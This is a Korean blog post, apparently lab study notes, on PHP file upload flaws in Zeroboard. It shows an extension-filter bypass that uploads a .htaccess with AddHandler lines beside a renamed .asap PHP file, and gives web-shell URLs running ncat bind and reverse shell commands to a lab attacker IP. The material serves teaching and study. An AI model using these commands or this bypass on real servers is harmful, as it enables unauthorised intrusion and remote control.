티스토리 뷰

공격의 특징들이 언어의 특징을 많이 따라간다.

XSS 를 이용하는데 PHP의 특징을 이용하긴 쉽지않다.


 · XSS → Javascript → 불특정 다수를 대상

 · Server script language → php 를 이용


php는 특정한 타겟(서버..)을 대상으로 공격이 가능하다.

php를 이용해서 취약점이 발생했을경우 타겟이나 공격의 형태가 어떻게 변하는지 확인해보도록 하자.



PHP 자체의 취약점


1). php 파일 업로드 취약점


 - php 소스파일이 서버에 존재

 - 웹 브라우저에서 접근이 가능


이 두가지 조건이 성립될 때 php 업로드 취약점을 이용하여 공격이 가능하다.

다시말하면 둘중 하나를 막아두면 이 공격은 성립하지 않게된다.


파일은 php를 통해 어떻게 업로드 되는지 직접 확인해야 공격을 이해할 수 있다.


파일 업로드 되면 어디로가는지 또, 서버에서 php파일을 실행하는 방식이라면

개발자가 의도하지 않은, 공격자가 원하는 파일을 실행시킬 수 있는것인지 확인해보자.



# 이렇게 글을 작성하여 파일을 하나 올려보도록 하자.






# 파일이 저장되는 경로가 보인다.



그렇다면 저 경로에 내가 의도한 PHP코드를 업로드 할 수 있다면 개발자가 의도하지 않은 공격을 시도할 수 있지 않을까?



# 이렇게 php파일을 작성하고 파일 업로드를 한번 시도해보자.






# 위와같이 제로보드 내에서 PHP파일 업로드를 차단해둔 것을 알 수 있다.


근데 만약 이것을 우회할 수 있다면? 

웹을 통해서 서버의 시스템까지 접근할 수 있다.

웹을 통해서만 이 서비스의 모든 세부사항들을 파악하고 서버까지 뚫어버릴수있다.

그렇기 때문에 웹서비스에 취약점이 있는경우 서비스 전체 또는 이용자까지 모두 영향을 줄 수 있다.






만약 이 서버에 업로드 취약점이 존재한다면 난 여기서 뭘 할 수 있을것인가?

php파일은 위와같이 필터링하고있다. 즉, 위의 두가지 조건 중 php파일이 서버에 들어가지 못하게 막아둔것이다.


따라서 이런 필터링을 우회해보도록 하자.

파일을 올렸을때의 주소가 write_ok.php이다. 이 php파일을 확인해보도록 하자.


그럼 어떤식으로 필터링할거냐?

다양한 값들을 넣어 하나하나 확인할 수 밖에 없다.


서버가 어떻게 필터링할지 추측하고 예측할 수 없으면 공격이 성공할 수 없다.

그래서 해킹에 있어선 경험이 중요하다.


방금 전 올린 JPG파일은 업로드가 됐는데 PHP파일은 안된다?

확장자 가지고 필터링 하고있는것이다.


여기까지 추측을 해보고 php로 작성한 코드를 확장자를 바꿔 다시 업로드를 시도해보자.


# 그대로 나타난다는것은 php파일로 인식하지 않고있다는 것이다.

즉, 확장자를 바꾸면 일반 텍스트로 판단한다는것이다.



확장자를 바꾸면 php 코드가 실행이 안된다. 

다시말해 php코드를 실행하기위해선 확장자는 무조건 php여아만 한다.






2). 우회기법


언뜻 보면 완벽하게 막은것처럼 보인다.


두가지 관점에서 접근 가능하다.

 - 왜 확장자가 php 가 아니면 안되는가? 확장자는 꼭 php여야 하나?

 - 확장자를 변경할 수 있나?




확장자가 꼭 php여야만 하는지부터 확인해보자. 

우린 공개게시판이기 때문에 아파치의 php 설정파일을 확인 할 수 있다.



# cd /etc/httpd/conf.d 경로로 이동하여 php.conf 설정파일을 열어보도록 하자.






# 이 두 줄에 의해서만 확장자가 php인것을 인식한다.


그렇다면






# 이걸 이렇게 변경해준다면 확장자가 .asap 인 파일도 php파일로 인식이 되게된다.






# 위와같이 적용되는것을 알 수 있다. 






그렇다면 지금까지 본 확인한 바로는 이 부분을 바꾸지 않으면 우회가 어렵다는 얘기가 된다.

이 부분을 시스템에 침투하지 않고 바꿀수 있어야 우회가 가능하다는건데 어떻게 우회할 수 있을까?



우리는 전에 mysql을 이용한 아파치 웹 인증을 다뤘었다.

 - /etc/httpd/conf/httpd.conf


이 파일을 수정해서 아파치 웹 인증을 다뤄봤었는데, 이것은 글로벌 설정파일이고

아파치에는 로컬 설정파일 하나 더 있다.

 .htaccess 파일인데, 이 파일은 로컬 설정파일이기 때문에 이 설정파일이 있는 디렉토리에만 설정을 적용할 수 있다.

설정을 적용시키고 싶은 디렉토리에 .htaccess 파일을 넣어주기만 하면 된다는 것이다.



.htaccess 파일을 쓰려면 위의 경로에 있는 httpd.conf 파일의 AllowOverride 라는 설정을 켜줘야한다.

# All 로 변경해준다.






따라서 이번에는 파일자체의 설정을 변경하지 않고 즉, httpd.conf를 수정하지 않고

.htaccess로 php설정을 풀어보도록 하자.


.htaccess 파일을 이용해서 zboard 디렉토리만 인증처리를 해보도록 하자.

http://httpd.apache.org/docs/current/howto/auth.html


.htaccess 파일에 대해 자세하게 다루고 있다.






설정을 따로 적용해주고싶은 디렉토리 내에 .htaccess 만 위치시킬 수 있다면 해당 디렉토리는 인증이 통과한다.

그럼 우선 인증설정이 필요하다.


아까 작성한 php코드를 실행시키려면 인증을 통과시켜줄 .htaccess 파일과 같이 업로드 한다면, 

작성했던 php코드가 확장자를 변경하여도 php로 인식되어 서버측에 원하는 코드를 삽입 할 수 있다는것이다.


그러나 이러한 방법은 정형화되어 있지는 않다. 아파치에 대한 이해가 없으면 우회기법은 찾기가 매우 어렵다.






아까 글로벌 설정을 직접 변경하여 지정한 확장자를 php로 인식시켜준 php.conf 파일의


AddHandler php5-script .php .asap

AddType text/html .php .asap


이 두줄을 .htaccess 에 적어두고 기존에 올리려한 php코드가 들어있는 asap확장자 파일과 함께
업로드를 해보자.


# 위와같이 .htaccess 파일을 생성해주고



# 이렇게 두 파일을 함께 업로드를 시켜준다.






# 이렇게 아까의 .asap 파일이 php코드로 인식되게 된다.






서버를 공략하고 싶은 때 뭐가제일필요할까?

쉘 이다. 명령어를 칠수없으면  아무런 의미가없기 때문.


공격자가 서버를 공격할 때 가장먼저 얻고싶은게 쉘이다.



원격쉘


파일업로드를 통해 원격쉘을 획득하고 공격을 진행하는것이 일반적이다.



원격쉘의 종류에는


1). 웹쉘

2). 바인드 쉘

3). 리버스 쉘

등이 있다.


웹쉘 : 웹을 통해서 명령어를 입력할 수 있다.

웹쉘의 가장 기본적인 형태는


# 이렇게 사용할 수 있다.






# cmd창을 이렇게 해서 사용 가능하다.


이와같이 웹쉘을 이용해서 공격을 할 수 있지만, 이 경우 아파치권한이 된다.

그럼 이 서버에서 아파치권한 까지는 행사가 가능하다는 소리이다.






바인드 쉘 : TCP를 이용한 원격 쉘을 획득



# 이걸 설치하면 ncat 또는 nc가 된다.


nc.exe






# cmd창을 이용해 바인드 쉘과 리버스 쉘을 사용할 수 있다.


바인드 쉘 : http://192.168.3.200/zboard/data/cmd.xxx.txt?cmd=ncat -e "/bin/sh" -l -p 10000

이렇게 하면 10000번 포트를 억지로 열은 셈이다.


리버스 쉘 : http://192.168.3.200/zboard/data/cmd.xxx.txt?cmd=ncat -e "/bin/sh" 192.168.3.254 10000

바인드 쉘의 반대개념이라고 보면 된다.






리버스쉘 : 강제로 서버쪽에서 포트를 오픈시켰는데 방화벽때문에 그게 안될경우에 

반대로 공격자(클라이언트)가 포트를 열고 서버에서 클라이언트 방향으로 방화벽을 우회하는 개념이다.


보통 방화벽이 외부에서 내부로 들어오는것만 체크하고, 내부에서 외부로 나가는건 확인하지 않기때문에

이를 이용해서 우회 하는 방법이다.


네트워크, 시스템 쪽의 이해가 선행된 이후 더 자세히 알아보도록 하자.

댓글
댓글쓰기 폼
공지사항
Total
290,633
Today
25
Yesterday
32
링크
TAG
more
«   2022/08   »
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      
글 보관함